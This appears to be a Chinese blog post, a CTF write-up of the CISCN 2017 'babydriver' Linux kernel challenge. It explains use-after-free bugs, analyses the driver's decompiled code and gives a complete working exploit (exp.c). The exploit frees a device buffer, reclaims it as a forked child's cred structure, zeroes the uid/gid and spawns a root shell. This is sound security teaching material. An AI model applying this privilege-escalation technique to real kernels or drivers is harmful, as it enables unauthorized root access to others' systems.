Android内核层驱动程序UAF漏洞提权实例

Posted Tr0e

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Android内核层驱动程序UAF漏洞提权实例相关的知识,希望对你有一定的参考价值。

文章目录

前言

自 2021 年 11 月从国企离职并入职互联网私企后,发现博客很少更新了……自然不是因为开始躺平了(菜鸡的学习之路还很漫长…),而是新的平台充满挑战,需要学习的东西实在太多了(所以一直加班中…),加上很多内部学习材料和内容不可在公司外网传播,所以就很少写 CSDN 博文了。但是稍有时间还是要保持写博文习惯的hh,个人觉得这不仅是对个人技术成长路线的记录,也是一种促使自己不断保持学习状态的好习惯。

言归正传,换工作后开始从事移动终端安全的方向,最近在学习 android 内核层和驱动的漏洞挖掘,刚好刷了一道关于内核提权的 CTF PWN 题目,颇有收益(太菜了…),在此学习记录下。

UAF漏洞

在计算机编程领域中,迷途指针(或称悬空指针、野指针),指的是不指向任何合法的对象的指针。当指针当所指向的对象被释放或者收回,但是对该指针没有作任何的修改,以至于该指针仍旧指向已经回收的内存地址,此情况下该指针便称迷途指针。若操作系统将这部分已经释放的内存重新分配给另外一个进程,而原来的程序重新引用现在的迷途指针并修改内存数据,则将产生无法预料的后果。

UAF(Use After Free)漏洞,顾名思义,指的就是当一个内存块被释放之后其指针再次被使用,可能会导致意想不到的后果。分为以下三种情况:

  1. 内存块被释放后,其对应的指针被设置为 NULL , 然后再次使用,自然程序会崩溃;
  2. 内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转;
  3. 内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题。

而我们一般所指的 Use After Free 漏洞主要是后两种。此外,一般称被释放后没有被设置为 NULL 的内存指针为悬空指针 dangling pointer。

下面通过一个简单的 C 语言程序来直观地感受下 UAF 漏洞:

#include <stdio.h>
#include <string.h>
int main()

    char *p1;
    p1 = (char *) malloc(sizeof(char)*10); //申请内存空间
    memcpy(p1,"hello",10);
    printf("p1 addr:%x,%s\\n",p1,p1);
    free(p1);   //释放 p1 指针所指向地内存空间
    char *p2;
    p2 = (char *)malloc(sizeof(char)*10); //二次申请内存空间,与第一次大小相同,申请到了同一块内存,即p2=p1
    memcpy(p1,"world",10);                //尝试对p1指针所指向的对内存空间进行修改
    printf("p2 addr:%x,%s\\n",p2,p1);      //验证p2指针地址是否与p1相同,以及p1内存空间释放后是否能正常对p1指针进行读写
    return 0;

运行结果如图所示:

可以看到,p1 与 p2 指针地址相同,p1 指针释放后,p2 申请相同的大小的内存时,操作系统会将之前给 p1 的地址分配给 p2,修改 p1 的内存空间,p2 也被修改了。

UAF 漏洞的原理

需要先介绍一下堆分配内存的原则,Linux 中进程分配内存的两种方式:brk 和 mmap。当程序使用 malloc 申请内存的时候,如果小于 256K,使用 brk 方式,将数据段 (.data) 的最高地址指针_edata往高地址推;如果大于 256,使用 mmap 方式,堆和栈之间找一块空闲内存分配。

应用程序调用 free() 函数来释放内存空间时,如果内存块小于 256kb, dlmalloc 并不马上将内存块释放回内存,而是将内存块标记为空闲状态。这么做的原因有两个:一是内存块不一定能马上释放会内核(比如内存块不是位于堆顶端),二是供应用程序下次申请内存使用(这是主要原因)。当 dlmalloc 中空闲内存量达到一定值时 dlmalloc 才将空闲内存释放会内核。如果应用程序释放的内存大于 256kb,dlmalloc 马上调用 munmap() 释放内存(dlmalloc 不会缓存大于 256kb 的内存块,因为这样的内存块太大了,最好不要长期占用这么大的内存资源)。

所以 UAF 漏洞简单来说,就是程序第一次申请的内存空间在释放过后没有进行内存回收,导致下次申请内存的时候再次使用该内存块,使得以前的内存指针可以访问修改过的内存。

babydriver

下面通过一道 2017 年全国大学生信息安全竞赛的 PWN 题目 babydriver 来学习下内核层驱动程序 UAF 漏洞的提权利用。题目材料 Github 获取地址:CISCN2017-babydriver

环境搭建

来看下题目的三个附件:

CTF 比赛中的内核题目通常也都由这几个部分组成:

文件作用
boot.shqemu-system 脚本,用于启动内核虚拟机
rootfs.cpio虚拟机的文件系统
bzImage内核镜像

1、开始分析题目,先来看下 qemu 虚拟机启动脚本的内容(可以看到指定了 rootfs.cpio 作为内核启动的文件系统,同时使用 bzImage 作为 kernel 映像):

#!/bin/bash

qemu-system-x86_64 -initrd rootfs.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' -enable-kvm -monitor /dev/null -m 64M --nographic  -smp cores=1,threads=1 -cpu kvm64,+smep

需要先安装 qemu 环境(Ubuntu 虚拟机中直接执行命令 sudo apt install qemu即可安装),然后执行./boot.sh 即可启动 qemu 虚拟机:

显然题目需要进行提权,才能获取 flag。执行 cat init 发现系统启动过程中加载了驱动文件/lib/modules/4.4.72/babydriver.ko,结合题目名称 babydriver 推断需要提取 babydriver.ko 驱动文件进行分析,借助其漏洞进行提权。

2、为了提取出 babydriver.ko 驱动程序,将题目提供的附件—— rootfs.cio 文件系统映像进行解包,写一个解包的脚本(或者手动逐条执行以下命令也可以):

# sudo chmod a+x dec.sh
# ./dec.sh
mkdir fs
cd fs
cp ../rootfs.cpio ./rootfs.cpio.gz
gunzip ./rootfs.cpio.gz 
cpio -idmv < rootfs.cpio
rm rootfs.cpio

解包后获取到的文件系统及 babydriver.ko 驱动程序如下:

漏洞分析

将 babydriver.ko 驱动程序文件拖入 IDA 64 进行逆向分析,发现 babyioctl、babayread、babyopen 等系统调用函数:

核心函数反汇编后的伪代码可汇总如下:

//释放babydev_struct
int __fastcall babyrelease(inode *inode, file *filp)

  _fentry__(inode, filp);
  kfree(babydev_struct.device_buf);
  printk("device release\\n");
  return 0;


//申请一块大小为 0x40 字节的空间,地址存储在全局变量babydev_struct.device_buf 上,并更新 babydev_struct.device_buf_len
int __fastcall babyopen(inode *inode, file *filp)

  _fentry__(inode, filp);
  babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 37748928LL, 64LL);
  babydev_struct.device_buf_len = 64LL;
  printk("device open\\n");
  return 0;


//定义了 0x10001 的命令,可以释放全局变量 babydev_struct中的device_buf,再根据用户传递的 size 重新申请一块内存,并设置 device_buf_len
__int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)

  size_t v3; // rdx
  size_t v4; // rbx
  __int64 result; // rax

  _fentry__(filp, *(_QWORD *)&command);
  v4 = v3;
  if ( command == 65537 )
  
    kfree(babydev_struct.device_buf);
    babydev_struct.device_buf = (char *)_kmalloc(v4, 37748928LL);
    babydev_struct.device_buf_len = v4;
    printk("alloc done\\n");
    result = 0LL;
  
  else
  
    printk(&unk_2EB);
    result = -22LL;
  
  return result;


//从 buffer 拷贝到全局变量中
ssize_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)

  size_t v4; // rdx
  ssize_t result; // rax
  ssize_t v6; // rbx

  _fentry__(filp, buffer);
  if ( !babydev_struct.device_buf )
    return -1LL;
  result = -2LL;
  if ( babydev_struct.device_buf_len > v4 )
  
    v6 = v4;
    copy_from_user();
    result = v6;
  
  return result;


//从全局变量拷贝到 buffer 中
ssize_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)

  size_t v4; // rdx
  ssize_t result; // rax
  ssize_t v6; // rbx

  _fentry__(filp, buffer);
  if ( !babydev_struct.device_buf )
    return -1LL;
  result = -2LL;
  if ( babydev_struct.device_buf_len > v4 )
  
    v6 = v4;
    copy_to_user(buffer);
    result = v6;
  
  return result;

逐一分析下重点函数:

  1. babydriver_init & babydriver_exit函数:进行的是参数设置之类的工作,可以不用太过关注,但是要知道在 init 中设置了/dev/babydev作为设备文件,所以我们到时候可以通过open("/dev/babydev")来调用设备,从而调用这个驱动程序。
  2. babyopen 函数:初始化babydev_struct结构体,这个结构体包含babydev_struct.device_bufbabydev_struct.device_buf_len两个域,分别表示内核缓冲区指针和缓冲区长度,在这个函数中会用kmem_cache_alloc_trace初始化babydev_struct.device_buf,并将babydev_struct.device_buf_len设置为 64;
  3. babyrelease 函数:和 babyopen 函数相反,使用 kfree 函数释放指针指向的内存,注意 kfree 也会导致野指针出现
  4. babyread &babywrite 函数:分别为向用户 buffer 写入 device_buf 中的内容和从用户 buffer 读取内容至 device_buf,用户传递长度和缓冲区地址作为参数,只有 device_buf_len 超过了这个长度才可以进行拷贝或者输出(防止溢出),两者都首先进行了 device_buf 指针是否为空的检查,再进行后续操作;
  5. babyioctl 函数:定义了 0x10001 的命令,可以释放全局变量babydev_struct 中的 device_buf,再根据用户传递的 size 重新申请一块内存,并设置 device_buf_len

该驱动程序没有用户态传统的溢出等漏洞,但存在一个伪条件竞争引发的 UAF 漏洞。

UAF 漏洞分析

从 Linux 内存管理机制可知,所有进程内核态的变量都指向同一片物理内存,所以全局变量 babydev_struct 会被所有进程共享,并且由于 SLUB&SLAB (内核空间内存管理机制)分配器的特点,分配一块内存时会优先寻找有没有刚被释放的、同样大小的内存,所以可以尝试构造一个条件竞争造成的 UAF,尝试修改进程结构体 cred 中的 uid=gid=0,从而实现提权。

提权exp

综上所述,按照如下步骤可进行提权:

  1. 连续两次打开驱动设备文件,设文件描述符分别为 fd1、fd2,这个时候由于 fd1、fd2 共享内存,会导致 fd2 覆盖 fd1 分配的空间;
  2. 先使用 ioctl 函数修改 fd1 的 babydev_struct.dev_buf_len 为 sizeof(cred),在本题内核版本为 4.4.72 情况下,cred 结构体大小为0xa8,babydev_struct.dev_buf会被分配一块内存,由于babydev_struct被所有进程共享,所以 fd2 的babydev_struct也被修改,与 fd1 相同;
  3. 关闭 fd1,这时 fd1 中的babydev_struct被释放,分配的内存也被回收,但是 fd2 的babydev_struct.device_buf仍然指向这一块内存,如果使用 fd2 的 write 函数仍然可以向这一片空间写入数据(UAF 漏洞);
  4. 通过 fork() 函数开启一个新进程 p,p 进程的 cred 结构体在被分配空间时会优先被分配刚被释放的、与 cred 结构体大小相同的空间,即刚才 fd1 释放的 babydev_struct.device_buf 指向的空间,也即现在 fd2 的babydev_struct.device_buf指向的空间,由于 fd2 还可控,所以相当于我们已经控制了 p 进程的 cred 结构体,从而可进行提权;
  5. 将 p 进程的cred.gid、cred.uid覆盖为 0,可以直接使用 fd2 的 write 系统调用函数写入(这里注意只需要将 28 字节的长度)。

编写 exp.c 如下:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <sys/wait.h>
#include <sys/stat.h>

int main()

	// 打开两次设备
	int fd1 = open("/dev/babydev", 2);
	int fd2 = open("/dev/babydev", 2);

	// 修改 babydev_struct.device_buf_len 为 sizeof(struct cred)
	ioctl(fd1, 0x10001, 0xa8);

	// 释放 fd1
	close(fd1);

	// 新起进程的 cred 空间会和刚刚释放的 babydev_struct 重叠
	int pid = fork();
	if(pid < 0)
	
		puts("[*] fork error!");
		exit(0);
	

	else if(pid == 0)
	
		// 通过更改 fd2,修改新进程的 cred 的 uid,gid 等值为0
		char zeros[30] = 0;
		write(fd2, zeros, 28);

		if(getuid() == 0)
		
			puts("[+] root now.");
			system("/bin/sh");
			exit(0);
		
	
	
	else
	
		wait(NULL);
	
	close(fd2);

	return 0;

先编译 exp 并将其放入解包的文件系统中:

gcc exp.c -static -o ./fs/exp

然后重新打包内核启动的文件系统,生成 rootfs.img:

# sudo chmod a+x c.sh
# ./c.sh
cd fs
find . | cpio -o --format=newc > ../rootfs.img

接着更改虚拟机启动脚本 boot.sh(将内核启动的文件系统参数由 rootfs.cpio 改为 rootfs.img):

#!/bin/bash

qemu-system-x86_64 -initrd rootfs.img -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' -enable-kvm -monitor /dev/null -m 64M --nographic  -smp cores=1,threads=1 -cpu kvm64,+smep

最后重新启动 qemu 虚拟机并运行 exp 程序,即可成功提权:

着重完成提权后,来补充下两个知识点:进程 cred 结构与 fork 函数。

cred结构

Linux kernel 需要记录每一个进程的权限信息,而这个权限信息是使用 cred 结构体记录的。每个进程中都有一个 cred 结构,这个结构保存了该进程的权限等信息(uid,gid 等),如果能修改某个进程的 cred,那么也就修改了这个进程的权限。

这个 cred 结构体不同内核版本可能会有差别(可以通过该网站进行查找),本题内核版本为 4.4.72,查看源码为:

struct cred 
    atomic_t    usage; 0x4
#ifdef CONFIG_DEBUG_CREDENTIALS debug选项去掉
    atomic_t    subscribers;    /* number of processes subscribed */
    void        *put_addr;
    unsigned    magic;
#define CRED_MAGIC  0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
    kuid_t      uid;        /* real UID of the task */ 0x4
    kgid_t      gid;        /* real GID of the task */ 0x4
    kuid_t      suid;       /* saved UID of the task */ 0x4
    kgid_t      sgid;       /* saved GID of the task */ 0x4
    kuid_t      euid;       /* effective UID of the task */ 0x4
    kgid_t      egid;       /* effective GID of the task */ 0x4
    kuid_t      fsuid;      /* UID for VFS ops */ 0x4
    kgid_t      fsgid;      /* GID for VFS ops */ 0x4
    unsigned    securebits; /* SUID-less security management */ 0x4
    kernel_cap_t    cap_inheritable; /* caps our children can inherit */ 0x8
    kernel_cap_t    cap_permitted;  /* caps we're permitted */ 0x8
    kernel_cap_t    cap_effective;  /* caps we can actually use */ 0x8
    kernel_cap_t    cap_bset;   /* capability bounding set */ 0x8
    kernel_cap_t    cap_ambient;    /* Ambient capability set */ 0x8
#ifdef CONFIG_KEYS
    unsigned char   jit_keyring;    /* default keyring to attach requested 0x8
                     * keys to */ 
    struct key __rcu *session_keyring; /* keyring inherited over fork */ 0x8
    struct key  *process_keyring; /* keyring private to this process */ 0x8
    struct key  *thread_keyring; /* keyring private to this thread */ 0x8
    struct key  *request_key_auth; /* assumed request_key authority */ 0x8
#endif
#ifdef CONFIG_SECURITY
    void        *security;  /* subjective LSM security */ 0x8
#endif
    struct user_struct *user;   /* real user ID subscription */ 0x8
    struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */ 0x8
    struct group_info *group_info;  /* supplementary groups for euid/fsgid */ 0x8 
    struct rcu_head rcu;        /* RCU deletion hook */ 0x10
;

通过查找各种类型所占内存大小、对齐规则可知 cred 结构体的总大小是0xa8,一直到 gid 结束是 28 个字节。

确定该版本的 cred 结构体大小的另一种方法是自己写个简单 modules 然后编译生成 ko 驱动程序,加载到虚拟机中,printf 打印一下 sizeof(struct cred) 就能确定了:

#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/cred.h>

MODULE_LICENSE("Dual BSD/GPL");
struct cred c1;
static int hello_init(void) 

    printk("<1> Hello world!\\n");
    printk("size of cred : %d \\n",sizeof(c1));
    return 0;

static void hello_exit(void) 

    printk("<1> Bye, cruel world\\n");

module_init(hello_init);
module_exit(hello_exit);

运行结果:

fork()函数

首先先接收一个观点,那就是:操作系统就是一堆进程,每一个进程都是由已有的进程创造出来的。以 Linux 操作系统为例,在启动之后第一个诞生的进程是 PID 为 0 的名叫 “idle” 的进程,后续所有的进程都是由它通过 fork() 创建的,包括我们熟知的 PID 为 1 的 “init” 进程。也许一杯咖啡的时间,等系统完全启动,我们可以登录以后,在命令行执行我们自己写的程序,这又是通过终端进程创建了新的进程。这就是在前面所说的操作系统的运行就是进程的不断创建和销毁的过程。

在 Linux 系统函数中,fork() 是用来创建新的子进程的函数。根据 Linux 编程手册,在 fork 函数执行完毕后,如果创建新进程成功,则出现两个进程,一个是子进程,一个是父进程。在子进程中,fork 函数返回0,在父进程中,fork 返回新创建子进程的进程ID。我们可以通过 fork 返回的值来判断当前进程是子进程还是父进程。

需要注意的是,在 fork 之后两个进程用的是相同的物理空间(内存区),子进程的代码段、数据段、堆栈都是指向父进程的物理空间,也就是说,两者的虚拟空间不同,其对应的物理空间是一个。这是出于效率的考虑,在 Linux 中被称为“写时复制”(COW)技术,只有当父子进程中有更改相应段的行为发生时,再为子进程相应的段分配物理空间。

但凡是进程,都有自己的虚拟地址空间。对于 32 位的 Linux 系统而言,虚拟地址空间是从 0 到 4G 的大小(其中 0-3G 属于用户空间 3-4G 属于内核空间)。创建完子进程后,父进程继续运行(即原来的进程)的代码,刚创建出来的子进程拥有和父进程完全一样的代码段,数据段,也就是说完完全全拷贝了一份父进程,和父进程完全一样。即 clone 父进程 0-3G 用户空间的内容,而 3-4G 的内核空间只需要重新映射一下到物理地址的 kernel 即可。

但是操作系统要如何区分这两个进程呢?答案就是进程 ID,即 pid。pid 是存储在 PCB(Process Control Block,为了描述控制进程的运行,系统中存放进程的管理和控制信息的数据结构称为进程控制块) 当中的类似身份证的东西。子进程会 clone 父进程的 PCB 到子进程,但是 PCB 里的 pid 会从操作系统中获取,得到新的 pid。

总结

Android 内核层驱动程序涉及到的知识点很多,如 Linux 内核架构、驱动程序编写、字符设备程序、Linux 内存管理、Linux 系统调用、mmap 内存映射、驱动程序攻击面等等,此处不一一开展……过往的工作经历基本上都是碎片化的学习,很少静下心来系统性学习和研究一个方向,在此感谢下新单位给予了一个静心成长和沉淀的环境。还是那句话,安全路很长……希望在未来 1-2 年自己也能在移动终端安全、二进制安全方向建立较为完整的知识体系并独当一面吧。

以上是关于Android内核层驱动程序UAF漏洞提权实例的主要内容,如果未能解决你的问题,请参考以下文章

Own your Android! Yet Another Universal Root

Use-After-Free

Android内核sys_setresuid() Patch提权(CVE-2012-6422)

什么是电脑内核提权漏洞?

Windows提权第一篇-内核溢出漏洞提权

linux_kernel_uaf漏洞利用实战